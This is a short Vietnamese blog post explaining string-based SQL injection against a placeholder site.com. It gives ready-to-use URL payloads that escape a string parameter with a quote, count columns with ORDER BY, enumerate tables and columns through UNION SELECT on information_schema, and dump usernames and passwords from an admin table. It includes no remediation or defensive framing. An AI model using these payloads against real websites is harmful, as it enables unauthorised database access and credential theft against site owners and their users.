Friday 19 February 2016

String based SQL Injection





Thế nào là String based SQL Injection
Hôm nay mình sẽ giải thích sâu hơn khi khai thác lỗi SQL Injection .
Nói nôm na là khi ta thử truy vấn khai thác lỗi như order by, group by, having 1=2 ... nhưng kết quả trang web không có sự thay đổi, hoặc trang load bình thường. 
http://site.com/index.php?id=10 order by 1000--

Giải pháp cho tình huống này

Code:
http://site.com/index.php?id=10' order by 1000--+

Chúng ta sử dụng các kí tự  ' và +  đằng sau câu truy vấn

Code:
id=X' order by--+     

String-Union Based SQL injection

1. Xác định số column:
Code:
http://www.site.com/index.php?id=234' order by 11--+
2. Get table_name:
Code:
http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+

Giả sử table là admin

 3.Get column:
Code:
http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+

 Chuyển mã hex table admin, admin=0x61646d696e. Giả sử column có được là username, password.

4.Get data
Code:
http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+

Phần tiếp theo mình sẽ nói về Error Based/Double query

0 comments:

Post a Comment